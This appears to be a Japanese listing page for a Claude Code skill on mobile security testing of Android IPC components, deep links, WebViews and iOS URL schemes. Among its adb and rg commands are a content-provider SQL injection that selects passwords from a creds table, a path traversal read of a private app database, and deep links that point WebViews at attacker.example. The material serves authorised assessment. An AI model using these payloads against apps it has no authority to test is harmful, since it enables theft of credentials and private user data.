testing-mobile-ipc について
Android IPC と iOS の URL 経由の入口を評価するモバイルセキュリティテストスキルです。入口の列挙、個別テスト、ローカルアプリ攻撃の影響判定を支援します。
主な機能
- 01公開コンポーネントと URL スキームの列挙
- 02Android のアクティビティ、サービス、プロバイダーのテスト
- 03Intent と PendingIntent の悪用評価
- 04ディープリンクと WebView の処理確認
- 05iOS の URL スキームと共有データの確認
活用シーン
- 01Android マニフェストの公開コンポーネント監査
- 02ディープリンクによる認証回避のテスト
- 03プロバイダーのデータアクセス不備の確認
- 04iOS スキームと App Group の露出確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill testing-mobile-ipcインストール後、Claude Code で/testing-mobile-ipcを入力して読み込まれたか確認します。
詳細
モバイル IPC とディープリンクのテスト
エクスポートされた各コンポーネントと登録済みの URL スキームは、ネットワークを必要としないリモートエントリーポイントです。同じデバイス上の悪意あるアプリや、ユーザーがアクセスする Web ページから直接呼び出される可能性がありますが、アプリ自身からしか呼び出されないかのように実装されていることがよくあります。
使用する場面
- エクスポートされたコンポーネントについて
AndroidManifest.xmlを確認するとき - ディープリンク、App Links、カスタム URL スキーム、Universal Links をテストするとき
- コンテンツプロバイダーとブロードキャストレシーバーの公開範囲を評価するとき
PendingIntent、インテントリダイレクト、App Group 共有を確認するとき- 「このデバイス上の別のアプリは、このアプリに対して何ができるか?」に回答するとき
使用しない場面
- ネットワーク API のテスト —
testing-apisを使用してください - バイナリレベルのリバースエンジニアリング —
analyzing-ios-binariesまたは該当するreversing-*スキルを使用してください - TLS や検出の問題で作業が妨げられている場合 — まず
bypassing-mobile-pinningまたはbypassing-root-jailbreak-detectionを使用してください - より広範な評価 —
testing-mobile-applicationsを使用してください
Android:攻撃対象範囲を列挙する
apktool d target.apk -o out
# Every component with exported=true, or with an intent-filter and no explicit
# exported attribute on older targetSdk (which defaults to exported)
rg -n 'android:exported="true"|<intent-filter>' -B3 out/AndroidManifest.xml
# Live enumeration
adb shell dumpsys package com.target.app | rg -A3 'Activity Resolver|Receiver Resolver|Service Resolver|Provider'
drozer console connect
# run app.package.attacksurface com.target.app
# run app.activity.info -a com.target.app
# run app.provider.info -a com.target.app
android:exported のデフォルト値は変更されています — API 31 以降をターゲットとするアプリでは明示的に宣言する必要がありますが、それより古いターゲットでは、インテントフィルターを持つコンポーネントは暗黙的にエクスポートされます。コンポーネントが非公開だと結論付ける前に、targetSdkVersion を確認してください。
パーミッションの保護レベルも確認してください。protectionLevel="normal" で宣言されたカスタムパーミッションによって「保護」されているコンポーネントは、実際には何も保護されていません。どのアプリでも、ユーザーの操作なしにそのパーミッションを要求して取得できます。
rg -n 'permission android:name|protectionLevel' out/AndroidManifest.xml
Android:各コンポーネントの種類をテストする
# Activities — can an unauthenticated screen be launched directly?
adb shell am start -n com.target.app/.SomeActivity
adb shell am start -a android.intent.action.VIEW -d "myapp://path?param=value"
adb shell am start -n com.target.app/.WebActivity --es url "https://attacker.example"
# Services
adb shell am startservice -n com.target.app/.ExportedService --es cmd value
# Broadcast receivers
adb shell am broadcast -a com.target.app.ACTION_X --es data value
# Content providers — the highest-yield target
adb shell content query --uri content://com.target.app.provider/users
adb shell content query --uri content://com.target.app.provider/users \
--where "1=1) UNION SELECT password FROM creds--"
adb shell content read --uri content://com.target.app.provider/files/../../databases/app.db
コンテンツプロバイダーでは、次の 2 つの典型的なバグが繰り返し見つかるため、特に注意が必要です。
- SQL インジェクション:
selection/projection引数を通じて発生します。これらはサーバーコードよりも頻繁にクエリへ連結されます。 - パストラバーサル:
openFile()で発生します。自身のディレクトリからファイルを提供するプロバイダーが要求されたパスを正規化しない場合、デバイス上のどのアプリからも、そのアプリのプライベートストレージを読み取れるようになります。
Android:影響の大きいパターン
インテントリダイレクト(Android における「混乱した代理人」)。 エクスポートされたコンポーネントが、追加データとして Intent を受け取り、それを起動します。呼び出し元が内部のインテントを指定するため、被害アプリの ID で実行され、その非エクスポートコンポーネントや権限にアクセスできます。
rg -n 'getParcelableExtra.*Intent|startActivity\(.*getIntent\(\).*Extra' out/smali*
# Exploit shape: outer intent → exported component → inner intent → private component
PendingIntent の乗っ取り。 暗黙的なベースインテントで作成された PendingIntent、または FLAG_IMMUTABLE を指定せずに作成された PendingIntent では、受信側アプリが未指定の情報を補い、送信側の ID でアクションを実行できてしまいます。
rg -n 'PendingIntent.get(Activity|Broadcast|Service)' -A3 out/smali*
# Findings: FLAG_MUTABLE (or no flag pre-API-31) plus an implicit base intent
WebView へのディープリンク。 ディープリンクのパラメーターが loadUrl() の対象になると、あらゆる Web ページが、アプリの WebView 内に攻撃者のコンテンツを表示させる手段になります。そのコンテンツは、WebView の Cookie、JavaScript ブリッジ、ファイルアクセスを利用できます。
adb shell am start -a android.intent.action.VIEW -d "myapp://open?url=https://attacker.example"
rg -n 'loadUrl|addJavascriptInterface|setAllowFileAccess|setJavaScriptEnabled' out/smali*
App Links の検証。 autoVerify="true" が機能するのは、https://domain/.well-known/assetlinks.json が正しく、アクセス可能な場合に限られます。検証に失敗すると、リンクはアプリ選択ダイアログにフォールバックし、別のアプリからもそのリンクを登録できてしまいます。
curl -s https://target.example/.well-known/assetlinks.json | jq .
adb shell pm get-app-links com.target.app
iOS
# Declared URL schemes and associated domains
plutil -p Payload/TargetApp.app/Info.plist | rg -A5 'CFBundleURLSchemes'
codesign -d --entitlements :- Payload/TargetApp.app | rg -A3 'associated-domains|application-groups'
# Trigger a scheme
xcrun simctl openurl booted "myapp://path?param=value"
# On device: open the URL from Safari or Notes
カスタム URL スキームは認証されておらず、他のアプリにも登録される可能性があります。 どのアプリでも myapp:// を登録でき、複数のアプリが登録した場合、どのアプリが優先されるかは定義されていません。カスタムスキーム経由で到達するものは、すべて攻撃者が呼び出したものとして扱う必要があります。Universal Links は、検証済みの代替手段です。
curl -s https://target.example/.well-known/apple-app-site-association | jq .
# Must be served over HTTPS, no redirect, correct app ID, correct paths
以下も確認してください。
- App Groups — アプリとその拡張機能が共有するコンテナです。そこに書き込まれたデータは、レビューが不十分なキーボード拡張機能や共有拡張機能を含め、すべてのメンバーが読み取れます。
- Keychain アクセスグループ — アプリファミリー内で共有範囲が過剰に広くなっていないか確認してください。
- ペーストボード — 一般ペーストボードはどのアプリからも読み取れます。そこにコピーされた認証情報やトークンは漏えいします。
application:openURL:options:— ハンドラーが処理を実行する前に、呼び出し元のアプリと URL のパラメーターを検証しているか確認してください。
発見事項となる条件
コンポーネントを呼び出したこと自体は、発見事項ではありません。発見事項となるのは、権限のないローカルアプリに許してしまう操作です。
- 認証なしで特権操作にアクセスできる — ログインゲートを迂回してディープリンクから到達できる、送金画面、設定変更、アカウント操作
- 本来読むべきでないデータを読み取れる — 他のユーザーの行を返すプロバイダークエリ、またはプライベートストレージへの走査
- 被害者のアプリとして操作できる — インテントのリダイレクトや PendingIntent のハイジャック
- 信頼されたコンテキストで攻撃者のコンテンツを表示できる — JavaScript ブリッジを備えた WebView
- シークレットが呼び出し元に漏えいする — アクティビティの結果で返されるトークン、共有コンテナーへの書き込み、ログへの記録
ディープリンクの経路が認証を具体的に迂回するかどうかをテストしてください。ログアウト状態で対象コンポーネントを起動し、別のアカウントでも再度起動します。
却下すべき合理化
- 「エクスポートされていますが、権限が必要です。」 保護レベルを確認してください。
normalは自動的に付与されます。 - 「自社アプリだけが呼び出します。」 エクスポートされたものはすべて、どのアプリからでも呼び出せます。また、インテントフィルターがある場合はブラウザーからも呼び出せます。
- 「ディープリンクには URL 内に有効なトークンが必要です。」 実際にテストしてください。ディープリンク内のトークンは、検証されていなかったり、再利用可能だったり、リファラーのヘッダーから漏えいしたりすることがよくあります。
- 「エクスポートされていません。」
targetSdkVersionを基準に確認し、インテントのリダイレクトによって到達できないかも調べてください。 - 「iOS の URL スキームは問題ありません。入力を検証しています。」 呼び出し元も検証してください。スキームは認証されておらず、どのアプリからでも取得できます。
- 「プロバイダーは読み取り専用です。」 行が他人のものであれば、読み取りが発見事項となります。
参考資料
testing-mobile-applications— より広範な評価testing-apis— これらのコンポーネントが最終的に呼び出すバックエンドanalyzing-ios-binaries— エンタイトルメントと App Group の列挙reporting-security-findings— ローカル攻撃者による発見事項の重大度- drozer、adb、apktool、jadx、objection、Frida